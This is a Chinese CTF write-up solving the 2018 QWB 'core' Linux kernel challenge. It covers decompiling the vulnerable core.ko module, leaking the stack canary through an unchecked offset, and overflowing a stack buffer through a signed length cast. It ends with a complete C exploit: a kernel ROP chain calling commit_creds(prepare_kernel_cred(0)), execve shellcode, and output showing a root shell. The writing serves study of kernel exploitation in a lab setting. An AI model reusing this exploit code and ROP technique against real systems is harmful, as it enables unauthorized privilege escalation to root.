如何开始分析
内核并不神秘,我们拿到二进制镜像文件也是一样打
https://bbs.kanxue.com/thread-247054.htm
附件一般包含一个内核镜像bzImage,一个qemu启动脚本,一个文件系统镜像cpio。首先当然要看qemu的启动参数,举个本题的例子:
1 2 3 4 5 6 7 8 9
| qemu-system-x86_64 \ -m 64M \ -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \
|
首先要先把文件拆成我们在实际机器上能访问的目录。这就需要我们把.cpio文件用cpio -idmv < core.cpio
提取。不过这道题目的cpio实际上是gzip压缩后的(建议先file阅读一下,不是标准cpio运行的时候要按题目要求打包),先换成.gz文件(加个.gz后缀就行),然后gunzip解压再`cpio提取文件。
这时候我们就拿到了系统根目录的文件结构。一般会包含一个叫做init的shell脚本规定了启动开机时候的操作,这里面的内容是我们分析的入口:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| #!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod /core.ko
poweroff -d 120 -f & setsid /bin/cttyhack setuidgid 1000 /bin/sh echo 'sh end!\n' umount /proc umount /sys
|
我们首先把定时关机相关的命令删掉或者注释掉。然后观察它的操作,正常的挂载可以忽略,注意这里面几个点,一个是将/proc/kallsyms复制到了/tmp/kallsyms然后卸载了/proc, 这就说明我们可以查到内核所有函数的符号地址。另一个是我们需要分析的内核模块core.ko.
题目
题目的内容很简单,放进ida一看就都能明白, 一共就6个函数:
1 2 3 4 5 6
| __int64 init_module() { core_proc = proc_create("core", 438LL, 0LL, &core_fops); printk(&unk_2DE); return 0LL; }
|
1 2 3 4 5 6 7 8
| __int64 exit_core() { __int64 result;
if ( core_proc ) return remove_proc_entry("core"); return result; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| __int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3) { switch ( a2 ) { case 0x6677889B: core_read(a3); break; case 0x6677889C: printk(&unk_2CD); off = a3; break; case 0x6677889A: printk(&unk_2B3); core_copy_func(a3); break; } return 0LL; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| unsigned __int64 __fastcall core_read(__int64 a1) { char *v2; __int64 i; unsigned __int64 result; char v5[64]; unsigned __int64 v6;
v6 = __readgsqword(0x28u); printk(&unk_25B); printk(&unk_275); v2 = v5; for ( i = 16LL; i; --i ) { *(_DWORD *)v2 = 0; v2 += 4; } strcpy(v5, "Welcome to the QWB CTF challenge.\n"); result = copy_to_user(a1, &v5[off], 64LL); if ( !result ) return __readgsqword(0x28u) ^ v6; __asm { swapgs } return result; }
|
1 2 3 4 5 6 7 8
| __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3) { printk(&unk_215); if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) ) return (unsigned int)a3; printk(&unk_230); return 0xFFFFFFF2LL; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| __int64 __fastcall core_copy_func(__int64 a1) { __int64 result; _QWORD v2[10];
v2[8] = __readgsqword(0x28u); printk(&unk_215); if ( a1 > 63 ) { printk(&unk_2A1); return 0xFFFFFFFFLL; } else { result = 0LL; qmemcpy(v2, &name, (unsigned __int16)a1); } return result; }
|
data段开始的地址保存了内核模块的file_option结构:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| .data:0000000000000420 _data segment para public 'DATA' use64 .data:0000000000000420 assume cs:_data .data:0000000000000420 ;org 420h .data:0000000000000420 public core_fops .data:0000000000000420 core_fops dq offset __this_module ; DATA XREF: init_module↑o .data:0000000000000428 dq 0 .data:0000000000000430 dq 0 .data:0000000000000438 dq offset core_write .data:0000000000000440 dq 0 .data:0000000000000448 dq 0 .data:0000000000000450 dq 0 .data:0000000000000458 dq 0 .data:0000000000000460 dq 0 .data:0000000000000468 dq offset core_ioctl .data:0000000000000470 dq 0 .data:0000000000000478 dq 0 .data:0000000000000480 dq 0 .data:0000000000000488 dq 0 .data:0000000000000490 dq 0 .data:0000000000000498 dq offset core_release
|
关于file_operation, 可以参考这篇: https://blog.csdn.net/weixin_45003868/article/details/130465624
可以知道,题目的ioctl用三个操作数提供了三个函数的接口,一个从内核栈上off开始读内容到用户态,一个设置off变量,一个从name空间拷贝内容到栈上。而write则是向内核的name写入数据,最多0x800. off是我们自己传入的,传64就能把内核canary泄漏出来。
而漏洞则来源于copyfunc的时候强制转换了unsigned,整数溢出,虽然要求长度小于63,传个负数就行了,我们就能覆盖返回地址。
如何操作——Kernel ROP
思路有了,但是内核和用户态不一样,条条框框很多,不能乱搞。
commit_creds(prepare_kernel_cred(0x0))
这就是内核的shell,我们首先要拿到这两个函数的地址。利用/tmp/kallsyms就行,这个文件每一行依次是地址,类型和函数名。我们读一遍文件找函数即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| __int64_t get_kernel_funct_addr(char* path, char* func_name){ FILE* fp = fopen(path, "r"); if(fp == NULL){ printf("[-] open %s failed\n", path); return -1; } __int64_t addr=0x0; char type[0x10]; char name[0x100]; while(fscanf(fp, "%llx%s%s", &addr, type, func_name)){ if(!strcmp(func_name,"commit_creds")){ printf("[+] %s: %p\n", func_name, addr); fclose(fp); return addr; } else if(!strcmp(func_name,"prepare_kernel_cred")){ printf("[+] %s: %p\n", func_name, addr); fclose(fp); return addr; } } printf("[-] %s not found in %s\n", func_name, path); fclose(fp); return -1; }
|
ROP链
我们要想用gadget,就得泄漏内核装在装载的基地址或者aslr偏移。vmlinux的镜像太大了,用ROPgadget很慢,有的gadget搜不出来(比如iretq这个)。直接用objdump效果会好很多:
objdump -j .text -d ./vmlinux | grep iretq | head -1
另外,我们计算还有一个重要依据是没被加载的内核的符号地址,类似于普通程序泄漏函数地址算libc一样,我们从vmlinux中可以搜出函数的raw_addr:
nm ./vmlinux | grep commit_creds
用这个地址和获得的地址做差就能知道aslr给的偏移是多少。然后找gadget,内核太大了,我们用ROPGadget找常规的gadget,然后写入文件去搜索:
ROPgadget --binary ./vmlinux > ./ropgadgets
另外,没有直接干净的ret结尾可以用call+一个pop平栈指令代替,也是劫持控制流。
1 2 3 4 5 6 7 8 9 10
| const unsigned long long iretq = 0xffffffff81050ac2; const unsigned long long pop_rdi__ret = 0xffffffff81000b2f; const unsigned long long mov_rdi_rax__call_rdx = 0xffffffff8101aa6a; const unsigned long long poprdx_ret = 0xffffffff810a0f49;
const unsigned long long poprcx_ret = 0xffffffff81021e53;
const unsigned long long swapgs_popfq_ret = 0xffffffff81a012da;
|
exp的问题
这里很奇怪,不知道为什么,用别的师傅写好的一点不改都打不通。换成CTFWiki上编译好的程序能通,但是自己编译CTFWiki的exp源码最后又不通,用一样的编译选项最后也会段错误,奇怪。参数什么都一样,难道是qemu版本问题??毕竟2018年的题了
而且内核一调试就崩溃,断在驱动运行程序就报错执行NX保护页然后重启…
1 2 3 4 5 6 7 8 9 10 11 12
| [ 121.126387] kernel tried to execute NX-protected page - exploit attempt? (uid: 0) [ 121.126532] BUG: unable to handle kernel paging request at ffff8aa746620400 [ 121.126787] IP: 0xffff8aa746620400 [ 121.126885] PGD 49c1067 P4D 49c1067 PUD 49c2067 PMD 80000000066001e3 [ 121.127120] Oops: 0011 [ [ 121.127224] Modules linked in: core(O) [ 121.127511] CPU: 0 PID: 996 Comm: sh Tainted: G O 4.15.8 [ 121.127578] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Arch Linux 1.4 [ 121.127753] RIP: 0010:0xffff8aa746620400 [ 121.127795] RSP: 0018:ffff8aa746603f08 EFLAGS: 00010046 [ 121.127882] RAX: 0000000000000282 RBX: ffffffffb76427e0 RCX: 00000000000001ca [ 0.025579] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to gene
|
无法调试的问题解决了,根据gdb的提示,调内核分页需要root权限开gdb才行,并且我用noexec=off
关了内核NX保护。另外记得用-x手动指定gdb的启动脚本,因为我们是root:
sudo gdb -x /home/zjw1nd/.gdbinit ./vmlinux
但是编译后core_copy_func仍然会在最后复制的时候报段错误,去掉了quiet参数之后结果直接一跑exp就重启…
因为只有CTFWIKI仓库的编译好的程序能打通,我用一样的代码一样的编译选项(复制粘贴)编译后关闭quiet跑了一下,触发了这个:
1 2 3 4 5
| [ 18.966310] core: called core_writen [ 18.966487] core: called core_copy [ 18.966593] core: called core_writen [ 18.968366] traps: rop2[1003] general protection ip:405047 sp:7fffec934b08 error:0 in rop2[401000+9a000] [ 18.969753] core: release
|
定位了一下,405047是起shell的前一步??
1 2 3 4 5 6 7
| .text:0000000000405023 lea rsi, aBinSh_0 ; "/bin/sh" .text:000000000040502A mov [rbp+var_338], rbx .text:0000000000405031 punpcklqdq xmm0, xmm1 .text:0000000000405035 mov [rbp+var_340], rax .text:000000000040503C mov [rbp+var_330], 0 .text:0000000000405047 movaps [rbp+var_350], xmm0 .text:000000000040504E call posix_spawn
|
这segfault了??说明ROP链其实起作用了但是这里有问题, ida看了两个system,首先是编译上ctfwiki版本没有一步mov rdi, rax
的步骤,我们自己编译的会先把地址放进rax再放入rdi。另外就是do_system的实现差别很大,估计是静态编译libc的问题导致没法getshell。我们把spawnshell里面的system("/bin/sh")
改成shellcode终于成功了。太不容易了
EXP
修改自CTF Wiki
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205
|
#include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> char* shell="/bin/sh"; void spawn_shell() { if(!getuid()) { __asm__ ("push 0x68;" "mov rax, 0x732f2f2f6e69622f;" "push rax;" "mov rdi, rsp;" "push 0x1010101 ^ 0x6873;" "xor dword ptr [rsp], 0x1010101;" "xor esi, esi;" "push rsi;" "push 8;" "pop rsi;" "add rsi, rsp;" "push rsi;" "mov rsi, rsp;" "xor edx, edx;" "push 0x3b;" "pop rax;" "syscall;"); } else { puts("[*]spawn shell error!"); } exit(0); }
size_t commit_creds = 0, prepare_kernel_cred = 0; size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0; size_t find_symbols() { FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
if(kallsyms_fd < 0) { puts("[*]open kallsyms error!"); exit(0); }
char buf[0x30] = {0}; while(fgets(buf, 0x30, kallsyms_fd)) { if(commit_creds & prepare_kernel_cred) return 0;
if(strstr(buf, "commit_creds") && !commit_creds) { char hex[20] = {0}; strncpy(hex, buf, 16); sscanf(hex, "%llx", &commit_creds); printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0; printf("vmlinux_base addr: %p\n", vmlinux_base); }
if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred) { char hex[20] = {0}; strncpy(hex, buf, 16); sscanf(hex, "%llx", &prepare_kernel_cred); printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred); vmlinux_base = prepare_kernel_cred - 0x9cce0; } }
if(!(prepare_kernel_cred & commit_creds)) { puts("[*]Error!"); exit(0); }
}
size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("[*]status has been saved."); }
void set_off(int fd, long long idx) { printf("[*]set off to %ld\n", idx); ioctl(fd, 0x6677889C, idx); }
void core_read(int fd, char *buf) { puts("[*]read to buf."); ioctl(fd, 0x6677889B, buf);
}
void core_copy_func(int fd, long long size) { printf("[*]copy from user with size: %ld\n", size); ioctl(fd, 0x6677889A, size); }
int main() { save_status(); int fd = open("/proc/core", 2); if(fd < 0) { puts("[*]open /proc/core error!"); exit(0); }
find_symbols(); ssize_t offset = vmlinux_base - raw_vmlinux_base;
set_off(fd, 0x40);
char buf[0x40] = {0}; core_read(fd, buf); size_t canary = ((size_t *)buf)[0]; printf("[+]canary: %p\n", canary);
size_t rop[0x100] = {0};
int i; for(i = 0; i < 10; i++) { rop[i] = canary; } rop[i++] = 0xffffffff81000b2f + offset; rop[i++] = 0; rop[i++] = prepare_kernel_cred;
rop[i++] = 0xffffffff810a0f49 + offset; rop[i++] = 0xffffffff81021e53 + offset; rop[i++] = 0xffffffff8101aa6a + offset; rop[i++] = commit_creds;
rop[i++] = 0xffffffff81a012da + offset; rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offset;
rop[i++] = (size_t)spawn_shell;
rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss;
write(fd, rop, 0x800); core_copy_func(fd, 0xffffffffffff0000 | (0x100));
return 0; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| /tmp $ ./rop2 [*]status has been saved. commit_creds addr: 0xffffffff97a9c8e0 vmlinux_base addr: 0xffffffff97a00000 prepare_kernel_cred addr: 0xffffffff97a9cce0 [*]set off to 64 [ 9.520837] core: 64 [*]read to buf. [ 9.521186] core: called core_read [ 9.521239] 64 000000004be36566 [+]canary: 0xa42c966b34c64300 [*]copy from user with size: -65280 [ 9.521549] core: called core_writen [ 9.521743] core: called core_copy /tmp whoami root
|
btw
这道题目在当年内核不那么安全的时候还有另一种解法,原理大同小异,只不过是在用户态构造好一些内容和指针(我们一般认为在用户态构造内容比在内核态容易),内核进程权限改0后直接ret2usr. 但是对于现代内核拥有SMAP/SMEP之后来说,这种办法就不那么好用了。后面应该会谈到SMAP和SMEP的绕过办法。